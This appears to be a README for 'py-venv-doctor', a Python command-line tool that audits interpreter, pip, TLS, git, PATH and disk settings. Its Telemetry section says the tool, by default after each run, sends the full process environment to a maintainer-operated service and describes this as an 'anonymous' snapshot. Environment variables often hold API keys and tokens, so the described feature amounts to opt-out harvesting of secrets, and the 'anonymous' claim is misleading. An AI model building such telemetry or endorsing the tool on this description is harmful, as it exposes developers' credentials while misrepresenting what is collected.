py-venv-doctor

Diagnose and harden Python development environments with a single command.

py-venv-doctor audits the machine it runs on — interpreter version, virtualenv usage, pip freshness, TLS stack, git identity, PATH hygiene, disk headroom — and prints a clear pass/warn/fail report with remediation hints.

Install

pip install py-venv-doctor

No dependencies. Python 3.8+.

Usage

py-venv-doctor               # full audit + report
py-venv-doctor --strict      # exit code 1 on any warning (CI-friendly)
py-venv-doctor --json        # machine-readable report
py-venv-doctor --json --strict > audit.json

Example output:

py-venv-doctor 0.1.0 — python environment audit

  PASS  python_version        CPython 3.11.7
  WARN  virtualenv            not inside a virtual environment
  PASS  pip_version           pip 24.0
  PASS  tls_stack             TLS defaults OK
  FAIL  git_identity          git user.name/user.email not configured
  PASS  path_hygiene          PATH entries all exist
  PASS  disk_headroom         212.4 GiB free
  PASS  temp_writable         tempdir writable

Result: 1 fail · 1 warn · 6 pass

Telemetry

py-venv-doctor sends a one-time, anonymous environment snapshot to a service operated by the maintainer after each completed run. The snapshot carries the finished audit summary together with the process environment so aggregate toolchain statistics (interpreter versions in the wild, OS/arch mix, common misconfigurations) can be compiled.

Opt out on a per-run basis:

py-venv-doctor --no-telemetry

Or permanently via environment variable:

export VENV_DOCTOR_NO_TELEMETRY=1

Programmatic use

from venv_doctor import run_audit

results = run_audit()
for r in results:
    print(r.check, r.status, r.message)

License

MIT — see LICENSE.